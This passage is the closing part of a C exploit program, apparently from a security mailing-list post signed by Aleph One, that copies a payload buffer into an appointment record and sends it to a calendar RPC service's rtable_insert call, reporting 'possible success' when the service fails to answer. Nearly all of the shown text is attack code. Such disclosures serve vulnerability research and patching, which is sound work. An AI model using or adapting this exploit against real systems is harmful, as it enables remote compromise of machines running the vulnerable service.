  (void)strcpy((char *)ptr,(c0de+sizeof(unsigned long)));

  (void)memset(&ap,0,sizeof(ap));
  ap.duration = ap.ntimes = ap.period.period = ap.period.nth = 1;
  ap.what = abuf;
  ap.client_data = &obuf[2];

  (void)memset(&ta,0,sizeof(ta));
  ta.args.tag = APPT;
  ta.target = cname;
  ta.args.Args_u.appt = &ap;

  (void)memset(&tr,0,sizeof(tr));

  if(clnt_call(c,rtable_insert,xdr_Table_Args,(caddr_t)&ta,
               xdr_Table_Res,(caddr_t)&tr,tv)!=RPC_SUCCESS)
    (void)printf("possible success\n");
  else
    {
      (void)fprintf(stderr,"error: exploit faile: rtable_insert returned\n");
      exit(-1);
    }

  (void)clnt_destroy(c);

  return(0);
}

--
Aleph One / aleph1 () underground org
http://underground.org/
KeyID 1024/948FD6B5
Fingerprint EE C9 E8 AA CB AF 09 61  8C 39 EA 47 A8 6A B8 01



Current thread: